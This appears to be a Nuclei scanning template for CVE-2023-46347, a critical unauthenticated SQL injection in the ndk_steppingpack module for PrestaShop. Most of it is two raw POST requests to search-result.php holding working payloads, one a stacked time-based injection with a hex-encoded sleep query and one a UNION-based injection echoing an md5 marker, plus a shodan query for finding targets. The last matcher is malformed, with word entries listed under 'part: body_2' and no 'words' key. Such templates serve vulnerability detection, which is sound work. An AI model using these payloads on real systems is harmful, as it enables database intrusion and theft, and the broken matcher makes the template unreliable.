CVE-2023-46347: PrestaShop Step by Step products Pack - SQL Injection

id: CVE-2023-46347

info:
  name: PrestaShop Step by Step products Pack - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    In the module “Step by Step products Pack” (ndk_steppingpack) up to 1.5.6 from NDK Design for PrestaShop, a guest can perform SQL injection in affected versions.
  reference:
    - https://security.friendsofpresta.org/modules/2023/10/24/ndk_steppingpack.html
    - https://stack.chaitin.com/poc/detail/3977
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46347
    cwe-id: CWE-89
    epss-score: 0.68302
    epss-percentile: 0.98563
    cpe: cpe:2.3:a:ndkdesign:ndk_steppingpack:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ndkdesign
    product: ndk_steppingpack
    framework: prestashop
    shodan-query: http.component:"prestashop"
  tags: time-based-sqli,cve,cve2023,sqli,prestashop,ndk_steppingpack,ndkdesign,vkev

variables:
  num: "999999999"

http:
  - raw:
      - |
        @timeout: 15s
        POST /modules/ndk_steppingpack/search-result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        search_query=1%22%29;select+0x73656c65637420736c6565702836293b+into+@a;prepare+b+from+@a;execute+b;--

      - |
        @timeout: 15s
        POST /modules/ndk_steppingpack/search-result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        search_query=1")+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL,NULL,NULL--+-

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        name: Time Based
        dsl:
          - 'status_code_1 != 404'
          - 'duration_1>=6'
          - 'contains(content_type_1, "text/html")'
          - 'contains_any(tolower(response_1), "prestashop", "xipblog")'
        condition: and

      - type: word
        name: union-based
        part: body_2
          - '{{md5({{num}})}}'
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